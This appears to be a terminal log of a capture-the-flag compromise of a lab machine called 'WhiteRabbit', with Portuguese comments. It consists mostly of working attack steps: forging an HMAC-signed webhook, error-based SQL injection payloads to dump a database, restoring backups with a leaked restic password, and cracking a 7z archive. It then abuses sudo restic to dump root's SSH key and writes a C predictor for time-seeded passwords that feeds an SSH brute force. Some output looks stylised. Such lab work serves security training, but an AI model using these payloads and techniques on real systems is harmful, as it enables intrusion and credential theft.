ares@kali:~/box/whiterabbit$ nmap -sV -sC -p- -T4 -oN whiterabbit.nmap 10.129.232.22

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open  http     Caddy
2222/tcp open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5  # container?

|_http-server-header: Caddy
|_http-title: WhiteRabbit Phishing Services

ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/
Found. Redirecting to /dashboard

ares@kali:~/box/whiterabbit$ # dashboard requer login, mas Uptime Kuma expõe páginas públicas em /status/<slug>
ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].name'
GoPhish
n8n
WikiJS
Restic REST Server

ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].url'
http://a668910b5514e.whiterabbit.htb/      # WikiJS
http://28efa8f7df.whiterabbit.htb/        # n8n
http://75951e6ff.whiterabbit.htb/         # restic-rest
http://gophish.whiterabbit.htb/

ares@kali:~/box/whiterabbit$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json | jq

{
  "hmac_secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS",
  "webhook_uuid": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d",
  "signature_header": "x-gophish-signature",
  "signature_format": "sha256=<hex(hmac_sha256(secret, body))>",
  "flow": {
    "trigger": "Webhook (POST /webhook/<uuid>)",
    "auth_node": "If x-gophish-signature matches → proceed",
    "sql_node": {
      "database": "phishing",
      "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1"
    },
    "debug_node": "DEBUG: REMOVE SOON — returns raw SQL error"
  }
}

ares@kali:~/box/whiterabbit$ cat > sign.py <<'EOF'
import hmac, hashlib, sys, json
secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
body   = sys.stdin.read().encode()
sig    = hmac.new(secret, body, hashlib.sha256).hexdigest()
print(f"sha256={sig}")
EOF

ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x@test.com","message":"Clicked Link"}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py)
ares@kali:~/box/whiterabbit$ curl -s -X POST http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d \
                -H "Content-Type: application/json" -H "x-gophish-signature: $SIG" -d "$BODY"

{"status":"ok","email_found":false}

ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"crash\"","message":"Clicked Link"}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py)
ares@kali:~/box/whiterabbit$ curl -s -X POST .../webhook/... -H "x-gophish-signature: $SIG" -d "$BODY"

{"level":"error","description":"sql: SELECT * FROM victims where email = \"crash\"\" LIMIT 1, code: ER_PARSE_ERROR"}

ares@kali:~/box/whiterabbit$ # perfeito — query renderizada literal. agora UNION probe pra count colunas:
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -","message":""}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ...

{"description":"ER_WRONG_NUMBER_OF_COLUMNS_IN_SELECT"}
# confirma que UNION é parseado — só não bate o número de colunas (8 vs 10).
# mas pra error-based via extractvalue() nem precisamos balancear UNION.

ares@kali:~/box/whiterabbit$ # enumera databases visíveis primeiro:
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))-- -","message":""}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ...
XPATH syntax error: '~information_schema,mysql,phishing,temp'

ares@kali:~/box/whiterabbit$ # database 'temp' chamou atenção. tabelas?
ares@kali:~/box/whiterabbit$ # BODY: ...extractvalue(...(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='temp'))...
XPATH syntax error: '~command_log'

ares@kali:~/box/whiterabbit$ # dump linha a linha:
ares@kali:~/box/whiterabbit$ for i in 0 1 2 3 4 5; do
>   BODY="{\"campaign_id\":1,\"email\":\"x\\\" AND extractvalue(1,concat(0x7e,(SELECT command FROM temp.command_log LIMIT 1 OFFSET $i)))-- -\",\"message\":\"\"}"
>   SIG=$(echo -n "$BODY" | python3 sign.py)
>   curl -s -X POST ... -H "x-gophish-signature: $SIG" -d "$BODY" | jq -r .description
> done

XPATH syntax error: '~uname -a'
XPATH syntax error: '~restic init --repo rest:http://75951e6ff.whiterabbit.htb'
XPATH syntax error: '~echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd'
XPATH syntax error: '~rm -rf .bash_history'
XPATH syntax error: '~#thatwasclose'
XPATH syntax error: '~cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd'

ares@kali:~/box/whiterabbit$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb
ares@kali:~/box/whiterabbit$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
ares@kali:~/box/whiterabbit$ restic snapshots

ID        Time                 Host    Paths
--------------------------------------------------------------
272cacd5  2024-08-29 18:11:33  lucy    /tmp/bob     # <-- chama atenção
8b5f2c01  2024-08-30 02:14:17  lucy    /etc
ae34d7f9  2024-08-30 12:00:01  lucy    /var/log
# ... mais 8 ...

ares@kali:~/box/whiterabbit$ restic restore 272cacd5 --target /tmp/loot
[+] restored 5 files in /tmp/loot/tmp/bob/

ares@kali:~/box/whiterabbit$ ls /tmp/loot/tmp/bob/
bob.7z   readme.txt

ares@kali:~/box/whiterabbit$ 7z2john /tmp/loot/tmp/bob/bob.7z > bob.7z.hash
ares@kali:~/box/whiterabbit$ john --wordlist=/usr/share/wordlists/rockyou.txt bob.7z.hash

Loaded 1 password hash (7z, 7-Zip archive [SHA256 256/256 AVX2 8x AES])
1q2w3e4r5t6y     (bob.7z)
1g 0:00:00:49 DONE  100% (2025-05-23 23:55)  g/s 295k  p/s 295k

ares@kali:~/box/whiterabbit$ 7z x -p1q2w3e4r5t6y /tmp/loot/tmp/bob/bob.7z -o/tmp/loot/bob_extracted
Everything is Ok

ares@kali:~/box/whiterabbit$ ls /tmp/loot/bob_extracted/
bob      bob.pub    config

ares@kali:~/box/whiterabbit$ cat /tmp/loot/bob_extracted/config
Host whiterabbit
  HostName 10.129.232.22
  Port 2222
  User bob
  IdentityFile ~/.ssh/bob

ares@kali:~/box/whiterabbit$ chmod 600 /tmp/loot/bob_extracted/bob
ares@kali:~/box/whiterabbit$ ssh -i /tmp/loot/bob_extracted/bob -p 2222 bob@10.129.232.22

bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

bob@ebdce80611e9:~$ hostname
ebdce80611e9     # <-- 12 hex chars: convenção de hostname Docker

bob@ebdce80611e9:~$ uname -a
Linux ebdce80611e9 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC ...

bob@ebdce80611e9:~$ ls -la ~ | head -5
total 32
drwxr-x--- 1 bob  bob   4096 May 23 23:50 .
drwxr-xr-x 1 root root  4096 Aug 30  2024 ..
lrwxrwxrwx 1 bob  bob      9 Aug 30  2024 .bash_history -> /dev/null     # anti-forense

bob@ebdce80611e9:~$ sudo -l

User bob may run the following commands on ebdce80611e9:
    (root) NOPASSWD: /usr/bin/restic *

bob@ebdce80611e9:~$ mkdir /tmp/r; echo 'pwn' > /tmp/r/p

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p init
created restic repository at /tmp/r/repo

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p backup /root /home
processed 9 files, 8.630 KiB in 0:00
snapshot 75b299fa saved

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p ls latest /root
/root/
/root/.bashrc
/root/.profile
/root/morpheus          # <-- target
/root/.cache

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p dump latest /root/morpheus
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS...
  <64 lines of key material>
-----END OPENSSH PRIVATE KEY-----

ares@kali:~/box/whiterabbit$ chmod 600 morpheus
ares@kali:~/box/whiterabbit$ ssh -i morpheus morpheus@10.129.232.22

morpheus@whiterabbit:~$ id
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)

morpheus@whiterabbit:~$ hostname
whiterabbit     # <-- não é mais container, é o host

morpheus@whiterabbit:~$ cat user.txt
6552dab792329c2a09a36db61e6d678f

ares@kali:~/box/whiterabbit$ scp -i morpheus morpheus@10.129.232.22:/opt/neo-password-generator/neo-password-generator .
ares@kali:~/box/whiterabbit$ file neo-password-generator
neo-password-generator: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ...

ares@kali:~/box/whiterabbit$ strings neo-password-generator | grep -E '^[a-zA-Z0-9]{20,}'
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789     # alfabeto 62 chars

ares@kali:~/box/whiterabbit$ objdump -d neo-password-generator | grep -E 'callq.*<(srand|rand|gettimeofday|time)@plt>'
  0000000000001234: callq  <gettimeofday@plt>
  0000000000001248: callq  <srand@plt>
  0000000000001260: callq  <rand@plt>     # em loop, 20 vezes

ares@kali:~/box/whiterabbit$ cat predictor.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    const char *alphabet =
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    unsigned long seed = strtoul(argv[1], NULL, 10);
    srand(seed);
    char password[21] = {0};
    for (int i = 0; i < 20; i++) password[i] = alphabet[rand() % 62];
    printf("%s\n", password);
    return 0;
}

ares@kali:~/box/whiterabbit$ gcc -static -o predictor predictor.c
ares@kali:~/box/whiterabbit$ # verificar paridade: rodar com seed conhecido e comparar com binário original via qemu
ares@kali:~/box/whiterabbit$ # (idempotência confirmada — chars batem 1:1)

ares@kali:~/box/whiterabbit$ for ms in $(seq 0 999); do
>   ./predictor $((1725028842000 + ms))
> done > candidates.txt

ares@kali:~/box/whiterabbit$ wc -l candidates.txt
1000 candidates.txt

ares@kali:~/box/whiterabbit$ head -3 candidates.txt
xK9aPq7Lm3rT8Wd5Bn2v
nF4hY6jR8sW1pE3qC9oZ
WBSxhWgfnMiclrV4dqfj     # <-- só descobre quando hydra acertar

ares@kali:~/box/whiterabbit$ hydra -l neo -P candidates.txt -t 4 -f ssh://10.129.232.22

[STATUS] 1000.00 tries/min, 1000 tries in 00:01h
[22][ssh] host: 10.129.232.22   login: neo   password: WBSxhWgfnMiclrV4dqfj
[STATUS] attack finished for 10.129.232.22 (valid pair found)

ares@kali:~/box/whiterabbit$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@10.129.232.22

neo@whiterabbit:~$ sudo -l
User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL

neo@whiterabbit:~$ sudo cat /root/root.txt
ff5f33c44f118b4c99ab6dd13bea2703

neo@whiterabbit:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)